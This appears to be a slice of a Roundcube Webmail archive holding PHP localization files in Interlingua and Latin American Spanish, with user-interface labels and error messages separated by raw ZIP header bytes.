$labels['replyalllist'] = 'responder solmente al lista de diffusion (si trovate)';
$labels['allmessages'] = 'tote le messages';
$labels['folder'] = 'Dossier';
$labels['folders'] = 'Dossieres';
$labels['foldername'] = 'Nomine de dossier';
$labels['subscribed'] = 'Subscribite';
$labels['messagecount'] = 'Messages';
$labels['create'] = 'Crear';
$labels['createfolder'] = 'Crear un nove dossier';
$labels['managefolders'] = 'Gerer le dossieres';
$labels['specialfolders'] = 'Dossieres special';
$labels['properties'] = 'Proprietates';
$labels['folderproperties'] = 'Proprietates de dossier';
$labels['parentfolder'] = 'Dossier genitor';
$labels['location'] = 'Location';
$labels['info'] = 'Information';
$labels['getfoldersize'] = 'Clicca pro obtener le dimension del dossier';
$labels['changesubscription'] = 'Clicca pro cambiar le subscription';
$labels['foldertype'] = 'Typo de dossier';
$labels['personalfolder'] = 'Dossier private';
$labels['otherfolder'] = 'Dossier de altere usator';
$labels['sharedfolder'] = 'Dossier public';
$labels['findfolders'] = 'Cercar dossieres';
$labels['findcontacts'] = 'Cercar contactos';
$labels['findmail'] = 'Cercar messages de posta';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Altere usatores';
$labels['namespace.shared'] = 'Commun';
$labels['dualuselabel'] = 'Pote continer solmente';
$labels['dualusemail'] = 'messages';
$labels['dualusefolder'] = 'dossieres';
$labels['encryptioncreatekey'] = 'Crear un nove par de claves';
$labels['encryption'] = 'Cryptographia';
$labels['sortby'] = 'Ordinar per';
$labels['sortasc'] = 'Mitter in ordine ascendente';
$labels['sortdesc'] = 'Mitter in ordine descendente';
$labels['undo'] = 'Disfacer';
$labels['installedplugins'] = 'Plug-ins installate';
$labels['plugin'] = 'Plug-in';
$labels['version'] = 'Version';
$labels['source'] = 'Fonte';
$labels['license'] = 'Licentia';
$labels['support'] = 'Obtener supporto';
$labels['savedsearches'] = 'Recercas salveguardate';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Anglese';
$labels['westerneuropean'] = 'Europa del west';
$labels['easterneuropean'] = 'Europa del est';
$labels['southeasterneuropean'] = 'Europa del sud-est';
$labels['baltic'] = 'Baltic';
$labels['cyrillic'] = 'Cyrillic';
$labels['arabic'] = 'Arabe';
$labels['greek'] = 'Grec';
$labels['hebrew'] = 'Hebraic';
$labels['turkish'] = 'Turc';
$labels['nordic'] = 'Nordic';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Celtic';
$labels['vietnamese'] = 'Vietnamese';
$labels['japanese'] = 'Japonese';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Chinese';
$labels['arialabeltopnav'] = 'Controlo de fenestras';
$labels['arialabeltasknav'] = 'Cargas de application';
$labels['arialabeltoolbar'] = 'Instrumentario de application';
$labels['arialabelactivetask'] = 'Carga active';
$labels['arialabelmessagessearchfilter'] = 'Filtro de lista de e-mail';
$labels['arialabelmailsearchform'] = 'Formulario de recerca de message de e-mail';
$labels['arialabelcontactsearchform'] = 'Formulario de recerca de contactos';
$labels['arialabelmailquicksearchbox'] = 'Entrata de recerca de e-mail';
$labels['arialabelquicksearchbox'] = 'Entrata de recerca';
$labels['arialabelfoldersearchfilter'] = 'Filtro de lista de dossieres';
$labels['arialabelfoldersearchform'] = 'Formulario de recerca de dossieres';
$labels['arialabelfolderlist'] = 'Selection de dossier de e-mail';
$labels['arialabelmessagelist'] = 'Lista de messages de e-mail';
$labels['arialabelmailpreviewframe'] = 'Previsualisation de message';
$labels['arialabelmailboxmenu'] = 'Menu de actiones de dossier';
$labels['arialabellistselectmenu'] = 'Menu de selection de lista';
$labels['arialabelthreadselectmenu'] = 'Menu de listas de topicos';
$labels['arialabelmessagelistoptions'] = 'Optiones de visualisation e ordinamento de lista de messages';
$labels['arialabelmailimportdialog'] = 'Dialogo de importation de messages';
$labels['arialabelmessagenav'] = 'Navigation inter messages';
$labels['arialabelmessagebody'] = 'Texto de message';
$labels['arialabelmessageactions'] = 'Actiones de message';
$labels['arialabelcontactquicksearch'] = 'Formulario de recerca de contactos';
$labels['arialabelcontactsearchbox'] = 'Entrata de recerca de contactos';
$labels['arialabelmessageheaders'] = 'Capites de message';
$labels['arialabelforwardingoptions'] = 'Optiones de reinvio';
$labels['arialabelreplyalloptions'] = 'Optiones pro responder a totes';
$labels['arialabelmoremessageactions'] = 'Altere actiones de message';
$labels['arialabelmarkmessagesas'] = 'Marcar le messages seligite como...';
$labels['arialabelcomposeoptions'] = 'Optiones de composition';
$labels['arialabelresponsesmenu'] = 'Menu de responsas prefabricate';
$labels['arialabelattachmentuploadform'] = 'Formulario de incargamento de attachamentos';
$labels['arialabelattachmentmenu'] = 'Optiones de attachamento';
$labels['arialabelattachmentpreview'] = 'Previsualisation de attachamento';
$labels['ariasummarycomposecontacts'] = 'Lista de contactos e gruppos a seliger como destinatarios';
$labels['arialabelcontactexportoptions'] = 'Optiones de exportation de contactos';
$labels['arialabelabookgroupoptions'] = 'Optiones de adressario/gruppo';
$labels['arialabelpreferencesform'] = 'Formulario de preferentias';
$labels['arialabelidentityeditfrom'] = 'Formulario de modification de identitate';
$labels['arialabelresponseeditfrom'] = 'Formulario de modification de responsa';
$labels['arialabelsearchterms'] = 'Terminos de recerca';
$labels['arialabeldropactionmenu'] = 'Menu de actiones traher-e-deponer';
$labels['helplistnavigation'] = 'Lista de claves de navigation';
$labels['helplistkeyboardnavigation'] = "Flechas in alto/basso: Focalisar un altere linea.
Barra de spatio: Seliger le linea focalisate.
Shift + alto/basso: Seliger un linea additional supra/infra.
Ctrl + barra de spatio: Adder/subtraher le linea focalisate al selection.";
$labels['helplistkeyboardnavmessages'] = "Flechas a dextra/sinistra: Displicar/plicar un topico de messages (solmente in vista arborescente).
Enter: Aperir le message seligite/focalisate.
Delete: Jectar le messages seligite in le corbe a papiro.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Aperir le contacto seligite/focalisate.";
PK
h�\�xݤM>M>$program/localization/ia/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Un error ha occurrite.';
$messages['loginfailed']  = 'Apertura de session fallite.';
$messages['cookiesdisabled'] = 'Vostre navigator non accepta cookies.';
$messages['sessionerror'] = 'Le session es invalide o ha expirate.';
$messages['storageerror'] = 'Le connexion al servitor de immagazinage ha fallite.';
$messages['servererror'] = 'Error de servitor.';
$messages['servererrormsg'] = 'Error de sevitor: $msg';
$messages['accountlocked'] = 'Troppo de tentativas fallite de authentication. Reproba plus tarde.';
$messages['connerror'] = 'Error de connexion (impossibile attinger le servitor).';
$messages['dberror'] = 'Error de base de datos.';
$messages['windowopenerror'] = 'Le fenestra pop-up ha essite blocate.';
$messages['requesttimedout'] = 'Requesta expirate';
$messages['errorreadonly'] = 'Impossibile exequer le operation. Le dossier es in modo lectura sol.';
$messages['errornoperm'] = 'Impossibile exequer le operation. Permission refusate.';
$messages['erroroverquota'] = 'Impossibile exequer le operation. Nulle spatio libere sur disco.';
$messages['erroroverquotadelete'] = 'Nulle spatio libere sur disco. Preme SHIFT+DEL pro deler un message.';
$messages['invalidrequest'] = 'Requesta non valide. Le datos non ha essite salveguardate.';
$messages['invalidhost'] = 'Nomine de servitor non valide.';
$messages['nomessagesfound'] = 'Nulle message trovate in iste cassa postal.';
$messages['mailboxempty'] = 'Le cassa postal es vacue';
$messages['nomessages'] = 'Nulle message';
$messages['refreshing'] = 'A refrescar...';
$messages['loading'] = 'A cargar...';
$messages['uploading'] = 'A incargar un file...';
$messages['attaching'] = 'Attacha file...';
$messages['uploadingmany'] = 'A incargar files...';
$messages['loadingdata'] = 'A cargar datos...';
$messages['checkingmail'] = 'A verificar si il ha nove messages...';
$messages['sendingmessage'] = 'A inviar le message...';
$messages['messagesent'] = 'Message inviate con successo.';
$messages['savingmessage'] = 'A salveguardar le message...';
$messages['messagesaved'] = 'Message salveguardate in "Versiones provisori".';
$messages['successfullysaved'] = 'Salveguardate con successo.';
$messages['savingresponse'] = 'A salveguardar le texto del responsa...';
$messages['deleteresponseconfirm'] = 'Es vos secur de voler deler iste texto de responsa?';
$messages['addedsuccessfully'] = 'Le contacto ha essite addite al adressario.';
$messages['contactexists'] = 'Un contacto con le mesme adresse de e-mail jam existe.';
$messages['contactnameexists'] = 'Un contacto con le mesme nomine jam existe.';
$messages['blockedimages'] = 'Pro proteger vostre vita private, le imagines a distantia es blocate in iste message.';
$messages['encryptedmessage'] = 'Iste message ha essite cryptate e non pote esser monstrate.';
$messages['externalmessagedecryption'] = 'Isto es un message cryptate e pote esser decryptate con tu extension de navigator.';
$messages['nopubkeyfor'] = 'Nulle clave public valide trovate pro $email';
$messages['nopubkeyforsender'] = 'Nulle clave public valide ha essite trovate pro tu identitate de expeditor. Vole tu cryptar le message pro le destinatarios solmente?';
$messages['encryptnoattachments'] = 'Le attachamentos jam incargate non pote esser cryptate. Per favor re-adde los in le editor cryptographic.';
$messages['searchpubkeyservers'] = 'Vole tu cercar le claves mancante in le servitores de claves public?';
$messages['encryptpubkeysfound'] = 'Le sequente claves public ha essite trovate:';
$messages['nocontactsfound'] = 'Nulle contacto trovate.';
$messages['contactnotfound'] = 'Le contacto requestate non ha essite trovate.';
$messages['sendingfailed'] = 'Le invio del message ha fallite.';
$messages['senttooquickly'] = 'Per favor, attende $sec secunda(s) ante inviar iste message.';
$messages['errorsavingsent'] = 'Un error ha occurrite durante le salveguarda del message inviate.';
$messages['errorsaving'] = 'Un error ha occurrite durante le salveguarda.';
$messages['errormoving'] = 'Impossibile displaciar le message(s).';
$messages['errorcopying'] = 'Impossibile copiar le message(s).';
$messages['errordeleting'] = 'Impossibile deler le message(s).';
$messages['errormarking'] = 'Impossibile marcar le message(s).';
$messages['deletecontactconfirm']  = 'Es vos secur de voler deler le contacto(s) seligite?';
$messages['deletegroupconfirm']  = 'Es vos secur de voler deler le gruppo seligite?';
$messages['deletemessagesconfirm'] = 'Es vos secur de voler deler le message(s) seligite?';
$messages['deletefolderconfirm']  = 'Es vos secur de voler deler le dossier seligite?';
$messages['purgefolderconfirm']  = 'Es vos secur de voler deler tote le messages in iste dossier?';
$messages['contactdeleting'] = 'A deler contacto(s)...';
$messages['groupdeleting'] = 'A deler le gruppo...';
$messages['folderdeleting'] = 'A deler le dossier...';
$messages['foldermoving'] = 'A displaciar le dossier...';
$messages['foldersubscribing'] = 'A subscriber se al dossier...';
$messages['folderunsubscribing'] = 'A cancellar le subscription al dossier...';
$messages['formincomplete'] = 'Le formulario non ha essite totalmente completate.';
$messages['noemailwarning'] = 'Per favor, specifica un adresse de e-mail valide.';
$messages['nonamewarning']  = 'Per favor, specifica un nomine.';
$messages['nopagesizewarning'] = 'Per favor, specifica un dimension de pagina.';
$messages['nosenderwarning'] = 'Per favor, specifica le adresse de e-mail del expeditor.';
$messages['norecipientwarning'] = 'Per favor, specifica al minus un destinatario.';
$messages['disclosedrecipwarning'] = 'Tote le destinatarios videra le adresses de e-mail le unes del alteres. Pro impedir isto e proteger lor confidentialitate, usa le campo Bcc.';
$messages['disclosedreciptitle'] = 'Il ha troppo de destinatarios public';
$messages['nosubjectwarning']  = 'Le campo "Subjecto" es vacue. Vole vos specificar un subjecto ora?';
$messages['nosubjecttitle']  = 'Sin subjecto';
$messages['nobodywarning'] = 'Inviar iste message sin texto?';
$messages['notsentwarning'] = 'Le message non ha essite inviate e ha modificationes non salveguardate. Abandonar le modificationes?';
$messages['restoresavedcomposedata'] = 'Un message anteriormente componite ma non inviate ha essite trovate.\n\nSubjecto: $subject\nSalveguardate: $date\n\nVole vos restaurar iste message?';
$messages['nosearchname'] = 'Per favor, specifica le nomine o adresse de e-mail de un contacto.';
$messages['notuploadedwarning'] = 'Non tote le attachamentos ha ancora essite incargate. Per favor, attende o cancella le incargamento.';
$messages['searchsuccessful'] = '$nr messages trovate.';
$messages['contactsearchsuccessful'] = '$nr contactos trovate.';
$messages['searchnomatch'] = 'Le recerca non ha producite resultatos.';
$messages['searching'] = 'A cercar...';
$messages['checking'] = 'A verificar...';
$messages['stillsearching'] = 'A continuar le recerca...';
$messages['nospellerrors'] = 'Nulle error de orthographia trovate.';
$messages['folderdeleted'] = 'Le dossier ha essite delite.';
$messages['foldersubscribed'] = 'Le subscription al dossier ha succedite.';
$messages['folderunsubscribed'] = 'Le subscription al dossier ha essite cancellate.';
$messages['deletedsuccessfully'] = 'Delete con successo.';
$messages['converting'] = 'A remover le formatation...';
$messages['messageopenerror'] = 'Impossibile cargar le message ab le servitor.';
$messages['filelinkerror'] = 'Le attachamento del file ha fallite.';
$messages['fileuploaderror'] = 'Incargamento de file falleva.';
$messages['filesizeerror'] = 'Le file incargate excede le dimension maxime de $size.';
$messages['filecounterror'] = 'Vos pote incargar al maximo $count files simul.';
$messages['msgsizeerror'] = 'Le attachamento de un file ha fallite. Le dimension maxime de un message ($size) ha essite excedite.';
$messages['copysuccess'] = '$nr contactos ha essite copiate.';
$messages['movesuccess'] = '$nr contactos ha essite displaciate.';
$messages['copyerror'] = 'Impossibile copiar le contactos.';
$messages['moveerror'] = 'Impossibile displaciar le contactos.';
$messages['sourceisreadonly'] = 'Iste fonte de adresses es pro lectura solmente.';
$messages['errorsavingcontact'] = 'Impossibile salveguardar le adresse del contacto.';
$messages['movingmessage'] = 'A displaciar le message(s)...';
$messages['copyingmessage'] = 'A copiar le message(s)...';
$messages['copyingcontact'] = 'A copiar le contacto(s)...';
$messages['movingcontact'] = 'A mover le contacto(s)...';
$messages['deletingmessage'] = 'A deler le message(s)...';
$messages['markingmessage'] = 'A marcar le message(s)...';
$messages['addingmember'] = 'A adder contacto(s) al gruppo...';
$messages['removingmember'] = 'A remover contacto(s) del gruppo...';
$messages['receiptsent'] = 'Un confirmation de lectura ha essite inviate.';
$messages['errorsendingreceipt'] = 'Impossibile inviar le confirmation.';
$messages['deleteidentityconfirm'] = 'Es vos secur de voler deler iste identitate?';
$messages['nodeletelastidentity'] = 'Vos non pote deler iste identitate; illo es vostre ultime.';
$messages['forbiddencharacter'] = 'Le nomine del dossier contine un character interdicte.';
$messages['selectimportfile'] = 'Per favor tu selige le file a incargar.';
$messages['addresswriterror'] = 'Le adressario seligite non permitte le scriptura.';
$messages['contactaddedtogroup'] = 'Le contactos ha essite addite a iste gruppo.';
$messages['contactremovedfromgroup'] = 'Le contactos ha essite removite de iste gruppo.';
$messages['nogroupassignmentschanged'] = 'Nulle assignation de gruppo ha essite cambiate.';
$messages['importwait'] = 'A importar, un momento...';
$messages['importformaterror'] = 'Importation fallite. Le file incargate non es un file de datos de importation valide.';
$messages['importconfirm'] = '<b>$inserted contactos ha essite importate</b>';
$messages['importconfirmskipped'] = '<b>$skipped entratas existente ha essite saltate</b>';
$messages['importmessagesuccess'] = '$nr messages ha essite importate';
$messages['importmessageerror'] = 'Importation fallite. Le file incargate non es un file de cassa postal o message valide.';
$messages['opnotpermitted'] = 'Operation non permittite.';
$messages['nofromaddress'] = 'Le adresse de e-mail manca in le identitate seligite.';
$messages['editorwarning'] = 'Si vos cambia de typo de editor, le formato del texto pote esser perdite. Desira vos continuar?';
$messages['httpreceivedencrypterror'] = 'Un error fatal de configuration ha occurrite. Contacta immediatemente vostre administrator.<b>Vostre message non pote esser inviate.</b>';
$messages['smtpconnerror'] = 'Error SMTP ($code): Le connexion al servitor ha fallite.';
$messages['smtpautherror'] = 'Error SMTP ($code): Authentication fallite.';
$messages['smtpfromerror'] = 'Error SMTP ($code): Impossibile fixar le expeditor "$from" ($msg).';
$messages['smtptoerror'] = 'Error SMTP ($code): Impossibile adder le destinatario "$to" ($msg).';
$messages['smtprecipientserror'] = 'Error SMTP: Impossibile interpretar le lista de destinatarios.';
$messages['smtpsizeerror'] = 'Error de SMTP: Le grandor del message excede le limite del servitor ($limit)';
$messages['smtperror'] = 'Error SMTP: $msg';
$messages['emailformaterror'] = 'Adresse de e-mail invalide: $email';
$messages['toomanyrecipients'] = 'Troppo de destinatarios. Reduce le numero de destinatarios a $max.';
$messages['maxgroupmembersreached'] = 'Le numero de membros del gruppo excede le maximo de $max.';
$messages['internalerror'] = 'Un error interne ha occurrite. Per favor, essaya lo de novo.';
$messages['contactdelerror'] = 'Impossibile deler le contacto(s).';
$messages['contactdeleted'] = 'Le contacto(s) ha essite delite.';
$messages['contactrestoreerror'] = 'Impossibile restaurar le contacto(s) delite.';
$messages['contactrestored'] = 'Le contacto(s) ha essite restaurate.';
$messages['groupdeleted'] = 'Le gruppo ha essite delite.';
$messages['grouprenamed'] = 'Le gruppo ha essite renominate.';
$messages['groupcreated'] = 'Le gruppo ha essite create.';
$messages['savedsearchdeleted'] = 'Le recerca salveguardate ha essite delite.';
$messages['savedsearchdeleteerror'] = 'Impossibile deler le recerca salveguardate.';
$messages['savedsearchcreated'] = 'Le recerca salveguardate ha essite create.';
$messages['savedsearchcreateerror'] = 'Impossibile crear le recerca salveguardate.';
$messages['messagedeleted'] = 'Le message(s) ha essite delite.';
$messages['messagemoved'] = 'Le message(s) ha essite displaciate.';
$messages['messagemovedtotrash'] = 'Le message(s) ha essite displaciate al corbe a papiro con successo.';
$messages['messagecopied'] = 'Le message(s) ha essite copiate.';
$messages['messagemarked'] = 'Le message(s) ha essite marcate.';
$messages['autocompletechars'] = 'Specifica al minus $min characteres pro autocompletion.';
$messages['autocompletemore'] = 'Plure entratas corresponde. Per favor, specifica plus characteres.';
$messages['namecannotbeempty'] = 'Le nomine non pote esser vacue.';
$messages['nametoolong'] = 'Le nomine es troppo longe.';
$messages['namedotforbidden'] = 'Le nomine del dossier non pote comenciar per un puncto.';
$messages['folderupdated'] = 'Le dossier ha essite actualisate.';
$messages['foldercreated'] = 'Le dossier ha essite create.';
$messages['invalidimageformat'] = 'Non es un formato de imagine valide.';
$messages['mispellingsfound'] = 'Errores de orthographia ha essite detegite in le message.';
$messages['parentnotwritable'] = 'Impossibile crear/displaciar le dossier in le dossier genitor seligite. Nulle permission de accesso.';
$messages['messagetoobig'] = 'Le parte del message es troppo grande pro tractar lo.';
$messages['noscriptwarning'] = 'Attention: Iste servicio webmail require JavaScript. Pro usar lo, per favor activa JavaScript in le configuration de vostre navigator.';
$messages['messageissent'] = 'Le message ha jam essite inviate ma non ancora salveguardate. Vole tu salveguardar lo ora?';
$messages['errnotfound'] = 'File non trovate';
$messages['errnotfoundexplain'] = 'Le ressource requestate non ha essite trovate.';
$messages['errfailedrequest'] = 'Requesta fallite';
$messages['errauthorizationfailed'] = 'Autorisation fallite';
$messages['errunauthorizedexplain'] = 'Non poteva verificar que tu es autorisate a acceder a iste servicio.';
$messages['errrequestcheckfailed'] = 'Verification del requesta fallite';
$messages['errcsrfprotectionexplain'] = "Pro vostre protection, le accesso a iste ressource ha essite securisate contra le falsification de requestas inter sitos (CSRF).\nSi vos vide isto, vos probabilemente non ha claudite session ante de quitar le application web.\n\nOra, un interaction human es requirite pro continuar.";
$messages['errcontactserveradmin'] = 'Per favor contacta le administrator de tu servitor.';
$messages['clicktoresumesession'] = 'Clicca hic pro continuar tu session anterior';
$messages['errcomposesession'] = 'Error del session de composition';
$messages['errcomposesessionexplain'] = 'Session de composition requestate non ha essite trovate.';
$messages['clicktocompose'] = 'Clicca hic pro componer un nove message';
PK
h�\
0�--)program/localization/es_419/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
PK
h�\�W-^�y�y&program/localization/es_419/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bienvenido a $product';
$labels['username'] = 'Usuario';
$labels['password'] = 'Contraseña';
$labels['server'] = 'Servidor';
$labels['login'] = 'Ingresar';
$labels['oauthlogin'] = 'Ingresar con $provider';
$labels['menu'] = 'Menú';
$labels['logout'] = 'Cerrar sesión';
$labels['mail'] = 'Correo';
$labels['settings'] = 'Configuración';
$labels['addressbook'] = 'Libreta de direcciones';
$labels['darkmode'] = 'Modo oscuro';
$labels['lightmode'] = 'Modo claro';
$labels['inbox'] = 'Bandeja de entrada';
$labels['drafts'] = 'Borradores';
$labels['sent'] = 'Enviados';
$labels['trash'] = 'Papelera';
$labels['junk'] = 'No deseado';
$labels['show_real_foldernames'] = 'Mostrar el nombre real para carpetas especiales';
$labels['subject'] = 'Asunto';
$labels['from'] = 'De';
$labels['sender'] = 'Remitente';
$labels['to'] = 'Para';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Responder a';
$labels['followupto'] = 'Seguir a';
$labels['date'] = 'Fecha';
$labels['size'] = 'Tamaño';
$labels['priority'] = 'Prioridad';
$labels['organization'] = 'Organización';
$labels['readstatus'] = 'Leído';
$labels['listoptions'] = 'Listar opciones...';
$labels['listoptionstitle'] = 'Opciones de lista';
$labels['mailboxlist'] = 'Carpetas';
$labels['messagesfromto'] = 'Mensajes $from a $to de $count';
$labels['threadsfromto'] = 'Hilo $from a $to de $count';
$labels['messagenrof'] = 'Mensaje $nr de $count';
$labels['fromtoshort'] = '$from - $to de $count';
$labels['copy'] = 'Copiar';
$labels['move'] = 'Mover';
$labels['moveto'] = 'Mover a...';
$labels['copyto'] = 'Copiar a...';
$labels['download'] = 'Descargar';
$labels['open'] = 'Abrir';
$labels['showattachment'] = 'Mostrar';
$labels['showanyway'] = 'Mostrar de todos modos';
$labels['filename'] = 'Nombre del archivo';
$labels['filesize'] = 'Tamaño del archivo';
$labels['addtoaddressbook'] = 'Agregar a la libreta de direcciones';
$labels['sun'] = 'Dom';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mié';
$labels['thu'] = 'Jue';
$labels['fri'] = 'Vie';
$labels['sat'] = 'Sáb';
$labels['sunday'] = 'Domingo';
$labels['monday'] = 'Lunes';
$labels['tuesday'] = 'Martes';
$labels['wednesday'] = 'Miércoles';
$labels['thursday'] = 'Jueves';
$labels['friday'] = 'Viernes';
$labels['saturday'] = 'Sábado';
$labels['jan'] = 'Ene';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Abr';
$labels['may'] = 'May';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Ago';
$labels['sep'] = 'Set';
$labels['oct'] = 'Oct';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dic';
$labels['longjan'] = 'Enero';
$labels['longfeb'] = 'Febrero';
$labels['longmar'] = 'Marzo';
$labels['longapr'] = 'Abril';
$labels['longmay'] = 'Mayo';
$labels['longjun'] = 'Junio';
$labels['longjul'] = 'Julio';
$labels['longaug'] = 'Agosto';
$labels['longsep'] = 'Setiembre';
$labels['longoct'] = 'Octubre';
$labels['longnov'] = 'Noviembre';
$labels['longdec'] = 'Diciembre';
$labels['today'] = 'Hoy';
$labels['refresh'] = 'Actualizar';
$labels['checkmail'] = 'Revisar si hay nuevos mensajes';
$labels['compose'] = 'Escribir';
$labels['writenewmessage'] = 'Crear mensaje nuevo';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder al remitente';
$labels['replytoallmessage'] = 'Responder a la lista o al remitente y a todos los destinatarios';
$labels['replyall'] = 'Responder a todos';
$labels['replylist'] = 'Responder a la lista';
$labels['forward'] = 'Reenviar';
$labels['forwardinline'] = 'Reenviar en el mensaje';
$labels['forwardattachment'] = 'Reenviar como archivo adjunto';
$labels['forwardmessage'] = 'Reenviar el mensaje';
$labels['bouncemsg'] = 'Reenviar (rebotar)';
$labels['bounce'] = 'Reenviar';
$labels['deletemessage'] = 'Eliminar el mensaje';
$labels['movemessagetotrash'] = 'Mover a la papelera';
$labels['printmessage'] = 'Imprimir este mensaje';
$labels['previousmessage'] = 'Mostrar mensaje anterior';
$labels['firstmessage'] = 'Mostrar primer mensaje';
$labels['nextmessage'] = 'Mostrar el siguiente mensaje ';
$labels['lastmessage'] = 'Mostrar el último mensaje';
$labels['backtolist'] = 'Volver a la lista de mensajes';
$labels['viewsource'] = 'Mostrar fuente';
$labels['mark'] = 'Marcar';
$labels['markmessages'] = 'Macar mensajes';
$labels['markread'] = 'Como leido';
$labels['markunread'] = 'Como no leido';
$labels['markflagged'] = 'Como marcado';
$labels['markunflagged'] = 'Como no marcado';
$labels['moreactions'] = 'Más acciones...';
$labels['markallread'] = 'Marcar todo como leído';
$labels['folders-cur'] = 'Solo directorio seleccionada';
$labels['folders-sub'] = 'Directorio seleccionado y sus subdirectorios';
$labels['folders-all'] = 'Todas las carpetas';
$labels['more'] = 'Más';
$labels['back'] = 'Atrás';
$labels['options'] = 'Opciones';
$labels['composeoptions'] = 'Opciones de redacción';
$labels['optionsandattachments'] = 'Opciones y archivos adjuntos';
$labels['actions'] = 'Acciones';
$labels['first'] = 'Primero';
$labels['last'] = 'Último';
$labels['previous'] = 'Anterior';
$labels['next'] = 'Siguiente';
$labels['select'] = 'Seleccionar';
$labels['selection'] = 'Selección';
$labels['all'] = 'Todos';
$labels['none'] = 'Ninguno';
$labels['currpage'] = 'Página actual';
$labels['isread'] = 'Leido';
$labels['unread'] = 'No leido';
$labels['flagged'] = 'Marcado';
$labels['unflagged'] = 'No marcado';
$labels['unanswered'] = 'No respondido';
$labels['withattachment'] = 'Con archivo adjunto';
$labels['deleted'] = 'Eliminado';
$labels['undeleted'] = 'No eliminado';
$labels['replied'] = 'Respondido';
$labels['forwarded'] = 'Reenviado';
$labels['invert'] = 'Invertir';
$labels['filter'] = 'Filtrar';
$labels['list'] = 'Enumerar';
$labels['threads'] = 'Hilos';
$labels['expand-all'] = 'Expandir todos';
$labels['expand-unread'] = 'Expandir no leídos';
$labels['collapse-all'] = 'Colapsar todos';
$labels['threaded'] = 'En hilo';
$labels['showunread'] = 'Mostrar mensajes no leídos';
$labels['autoexpand_threads'] = 'Expandir hilos';
$labels['do_expand'] = 'todos los hilos';
$labels['expand_only_unread'] = 'solo con mensajes no leidos';
$labels['fromto'] = 'De/Para';
$labels['flag'] = 'Marcar';
$labels['attachment'] = 'Archivo adjunto';
$labels['nonesort'] = 'Ninguno';
$labels['sentdate'] = 'Fecha de envío';
$labels['arrival'] = 'Fecha de recepción';
$labels['asc'] = 'ascendente';
$labels['desc'] = 'descendente';
$labels['listcolumns'] = 'Enumerar columnas';
$labels['listsorting'] = 'Ordenar columnas';
$labels['listorder'] = 'Ordenado por';
$labels['listmode'] = 'Modo de visualización de lista';
$labels['lmode'] = 'Modo de lista';
$labels['layout'] = 'Disposición';
$labels['layoutwidescreen'] = 'Ancho completo';
$labels['layoutdesktop'] = 'Escritorio';
$labels['layoutlist'] = 'Enumerar';
$labels['layoutwidescreendesc'] = 'Ancho completo (vista de 3 columnas)';
$labels['layoutdesktopdesc'] = 'Escritorio (lista ancha y vista previa de correo abajo)';
$labels['layoutlistdesc'] = 'Lista (sin vista previa del correo)';
$labels['folderactions'] = 'Acciones de carpeta...';
$labels['compact'] = 'Comprimir';
$labels['empty'] = 'Vaciar';
$labels['importmessages'] = 'Importar mensajes';
$labels['mailimportdesc'] = 'Usted puede subir correos usando archivos en formato <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> o <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> .';
$labels['mailimportzip'] = 'Multiples archivos pueden ser comprimidos en archivos zip.';
$labels['quota'] = 'Uso de disco';
$labels['unknown'] = 'desconocido';
$labels['unlimited'] = 'ilimitado';
$labels['quotatype'] = 'Tipo de cuota';
$labels['quotatotal'] = 'Límite';
$labels['quotaused'] = 'Usado';
$labels['quotastorage'] = 'Espacio en disco';
$labels['quotamessage'] = 'Conteo de mensajes';
$labels['shortheaderdate'] = 'El $date';
$labels['shortheaderto'] = 'A $to el $date';
$labels['shortheaderfrom'] = 'De $from el $date';
$labels['quicksearch'] = 'Búsqueda rápida';
$labels['searchplaceholder'] = 'Buscar...';
$labels['resetsearch'] = 'Eliminar busqueda';
$labels['searchmod'] = 'Modificadores de búsqueda';
$labels['msgtext'] = 'Mensaje completo';
$labels['body'] = 'Cuerpo';
$labels['type'] = 'Tipo';
$labels['namex'] = 'Nombre';
$labels['searchscope'] = 'Alcance';
$labels['currentfolder'] = 'Carpeta actual';
$labels['subfolders'] = 'Esta y subcarpetas';
$labels['allfolders'] = 'Todas las carpetas';
$labels['searchinterval-1W'] = 'antiguo que una semana';
$labels['searchinterval-1M'] = 'antiguo que un mes';
$labels['searchinterval-1Y'] = 'antiguo que un año';
$labels['searchinterval1W'] = 'reciente que una semana';
$labels['searchinterval1M'] = 'reciente que un mes';
$labels['searchinterval1Y'] = 'reciente que un año';
$labels['openinextwin'] = 'Abrir en una ventana nueva';
